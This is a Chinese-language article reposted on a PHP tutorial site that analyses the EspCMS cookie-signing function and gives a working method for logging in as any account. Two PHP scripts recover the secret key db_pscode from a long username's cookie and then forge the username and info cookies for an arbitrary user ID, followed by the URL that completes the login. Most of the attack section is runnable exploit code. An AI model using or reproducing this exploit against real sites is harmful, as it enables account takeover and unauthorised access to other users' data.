来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] EspCMS最新版可伪造任意帐户登陆(源码分析)测试版本espcms_utf8_5 8 14 03 03_bEspCMS中用户cookie生成算法中重要的就是db_pscode貌似前面有大牛提交过多次,厂商都只是略作修改,并没有最终搞...
|
EspCMS最新版可伪造任意帐户登陆(源码分析) EspCMS中用户cookie生成算法中重要的就是db_pscode
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}
<?php
$string = "lmlilJRmY5RiZpdql2KV";
$username = "111111111111111";
$result = "";
$mod4 = strlen($string) % 4;
if ($mod4) {
$string .= substr('====', $mod4);
}
$de_string = base64_decode($string);
for($i=0;$i<strlen($username);$i++){
$char = chr(ord($de_string[$i+1]) - ord($username[$i]));
$result .= $char;
}
echo "code=".$result;
?>
db_pscode不完整是因为我们注册的用户名长度不够,只要注册足够长的用户名,就能得到足够长的cookie,就能得到完整db_pscode
<?php
$string = "81cc52c15f9f1d";
//如果是计算用户名的cookie,这里直接填写用户名
//如果是计算info的cookie,这里填写格式为 2||0|1|||| ,第一个数字即为uid
$username = "2||0|1||||";
$result = "";
for($i=0;$i<strlen($username);$i++){
$keychar = substr($string, ($i % strlen($string)) - 1, 1);
$char = chr(ord($keychar) + ord($username[$i]));
$result .= $char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
echo $result;
?>
直接访问/index.php?ac=membermain&at=center,就登陆成功 算法问题是一个根本问题。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com